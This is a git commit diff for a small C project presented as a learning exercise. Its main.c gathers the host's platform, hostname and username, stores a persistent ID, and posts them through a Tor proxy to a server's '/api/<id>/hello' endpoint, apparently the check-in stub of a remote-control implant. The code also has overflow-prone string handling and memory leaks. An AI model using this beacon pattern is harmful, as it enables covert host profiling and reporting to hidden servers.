commit 74029f937d414b57333d827637e8100ee16035b3 Author: pupuupup Date: Sat Apr 3 00:07:10 2021 +0700 first commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..c5a3986 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +save +.env diff --git a/README.md b/README.md new file mode 100644 index 0000000..a47063b --- /dev/null +++ b/README.md @@ -0,0 +1,3 @@ +# apic + +Trying to learn c diff --git a/apic b/apic new file mode 100755 index 0000000..1809294 Binary files /dev/null and b/apic differ diff --git a/makefile b/makefile new file mode 100644 index 0000000..5b4afaa --- /dev/null +++ b/makefile @@ -0,0 +1,19 @@ +## Simple C Makefile + +SRC = ./src/main.c +NAME = apic +CC = gcc +RM = rm -f +OBJ = $(SRC:.c=.o) +CFLAGS = -O2 -W -Wall -Wextra -Werror +CFLAGS += -I./hds/ +all : $(NAME) +$(NAME) : $(OBJ) + $(CC) -o $(NAME) $(OBJ) -lcurl +clean : + $(RM) $(OBJ) +fclean : clean + $(RM) $(NAME) +re : fclean all +.PHONY : all clean fclean re + diff --git a/src/main.c b/src/main.c new file mode 100644 index 0000000..8aa250f --- /dev/null +++ b/src/main.c @@ -0,0 +1,170 @@ +#include +#include +#include +#include +#include +#include + +#define BUFFER_SIZE 256 + +#define SAVE_FILE "./save" + +struct url_data { + size_t size; + char* data; +}; +char *UID; +char *PLATFORM; +char *HOSTNAME; +char *USERNAME; +const char *URL; +const char *URL_TOR; + +size_t write_data(void *ptr, size_t size, size_t nmemb, struct url_data *data) { + size_t index = data->size; + size_t n = (size * nmemb); + char* tmp; + data->size += (size * nmemb); + fprintf(stderr, "data at %p size=%ld nmemb=%ld\n", ptr, size, nmemb); + tmp = realloc(data->data, data->size + 1); /* +1 for '\0' */ + if(tmp) { + data->data = tmp; + } else { + if(data->data) { + free(data->data); + } + fprintf(stderr, "Failed to allocate memory.\n"); + return 0; + } + memcpy((data->data + index), ptr, n); + data->data[data->size] = '\0'; + return size * nmemb; +} + +char* getUniqueID() +{ + char *data = malloc(BUFFER_SIZE); + FILE *f; + f = fopen(SAVE_FILE,"a+"); + if(f != NULL) fseek(f, 0, SEEK_END); + if(!(UID!= NULL && UID[0] == '\0')) return UID; + if(ftell(f) == 0) + { + fclose(f); + srand(time(0)); + int random = rand(); + f = fopen(SAVE_FILE,"w"); + fprintf(f,"%s_%d\n",USERNAME,random); + sprintf(data,"%s_%d",USERNAME,random); + fclose(f); + strcpy(UID,data); + return data; + } else { + fclose(f); + f = fopen(SAVE_FILE,"r"); + fscanf(f,"%s",data); + fclose(f); + strcpy(UID,data); + return data; + } +} + +char* getRequest(char *path) +{ + CURL *curl; + CURLcode res; + struct url_data data; + data.size = 0; + data.data = malloc(4096); + if(data.data == NULL) { + fprintf(stderr, "Failed to allocate memory.\n"); + return NULL; + } + curl = curl_easy_init(); + if(curl) { + char url[BUFFER_SIZE]; + strcpy(url, URL); + strcat(url, path); + curl_easy_setopt(curl, CURLOPT_URL, url); + curl_easy_setopt(curl, CURLOPT_PROXY, URL_TOR); + curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data); + curl_easy_setopt(curl, CURLOPT_WRITEDATA, &data); + res = curl_easy_perform(curl); + if(res != CURLE_OK) + fprintf(stderr, "curl_easy_perform() failed: %s\n", + curl_easy_strerror(res)); + curl_easy_cleanup(curl); + } + return data.data; +} + +char* postRequest(char *path, char *post_data) +{ + CURL *curl; + CURLcode res; + struct url_data data; + data.size = 0; + data.data = malloc(4096); + if(data.data == NULL) { + fprintf(stderr, "Failed to allocate memory.\n"); + return NULL; + } + curl = curl_easy_init(); + if(curl) { + char url[BUFFER_SIZE]; + strcpy(url, URL); + strcat(url, path); + curl_easy_setopt(curl, CURLOPT_URL, url); + curl_easy_setopt(curl, CURLOPT_PROXY, URL_TOR); + curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post_data); + curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data); + curl_easy_setopt(curl, CURLOPT_WRITEDATA, &data); + res = curl_easy_perform(curl); + if(res != CURLE_OK) + fprintf(stderr, "curl_easy_perform() failed: %s\n", + curl_easy_strerror(res)); + curl_easy_cleanup(curl); + } + return data.data; +} + +char* sayhello() +{ + char *data = malloc(BUFFER_SIZE); + char *path = malloc(BUFFER_SIZE); + char *post_data = malloc(BUFFER_SIZE); + sprintf(path, "/api/%s/hello", getUniqueID()); + sprintf(post_data, "platform=%s&hostname=%s&username=%s", + PLATFORM,HOSTNAME,USERNAME); + data = postRequest(path, post_data); + return data; +} + +void setup() +{ + UID = malloc(BUFFER_SIZE); + PLATFORM = malloc(BUFFER_SIZE); + HOSTNAME = malloc(BUFFER_SIZE); + USERNAME = malloc(BUFFER_SIZE); + URL = getenv("URL"); + URL_TOR = getenv("URL_TOR"); + #if __APPLE__ + PLATFORM = "MAC OS"; + #elif _WIN32 + PLATFORM = "WINDOWS"; + #elif __LINUX__ + PLATFORM = "LINUX"; + #else + PLATFORM = "UNKNOWN"; + #endif + gethostname(HOSTNAME, BUFFER_SIZE); + getlogin_r(USERNAME, BUFFER_SIZE); +} + +int main() +{ + setup(); + char *data = malloc(BUFFER_SIZE); + data = sayhello(); + printf("%s", data); +} diff --git a/src/main.o b/src/main.o new file mode 100644 index 0000000..271d57f Binary files /dev/null and b/src/main.o differ